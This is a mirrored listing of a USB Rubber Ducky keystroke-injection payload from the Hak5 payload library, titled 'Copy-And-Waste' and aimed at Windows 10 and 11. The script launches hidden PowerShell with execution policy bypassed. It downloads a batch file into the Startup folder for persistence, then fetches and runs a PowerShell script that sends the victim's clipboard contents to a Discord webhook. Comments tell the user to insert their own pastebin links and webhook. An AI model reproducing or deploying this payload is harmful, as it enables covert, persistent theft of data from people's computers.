Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
 Path: blob/master/payloads/library/exfiltration/Copy-And-Waste/payload.txt
2968 views
1
REM     Title: Copy-And-Waste

2


3
REM     Author: atomiczsec & I am Jakoby

4


5
REM     Description: This payload is meant to exfiltrate whatever is copied to the clipboard and sends to a discord webhook

6


7
REM     Target: Windows 10, 11

8


9
DELAY 2000

10
GUI

11
DELAY

12
STRING powershell -w h -NoP -NonI -Ep Bypass "echo (iwr PASTEBIN LINK FOR BAT).content > "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\l.bat";echo (iwr PASTEBIN LINK FOR PS1).content > "$env:APPDATA\c.ps1";powershell "$env:APPDATA\c.ps1"" 

13
ENTER

14


15
REM     Remember to replace the link with your pastebin shared link for the intended files to download

16
REM     Also remember to put in your discord webhook in c.ps1

17
REM     For the PASTEBIN LINK's do not put https:// infront of it, it should look like pastebin.com/raw/BLAHBLAHBLAH

18


19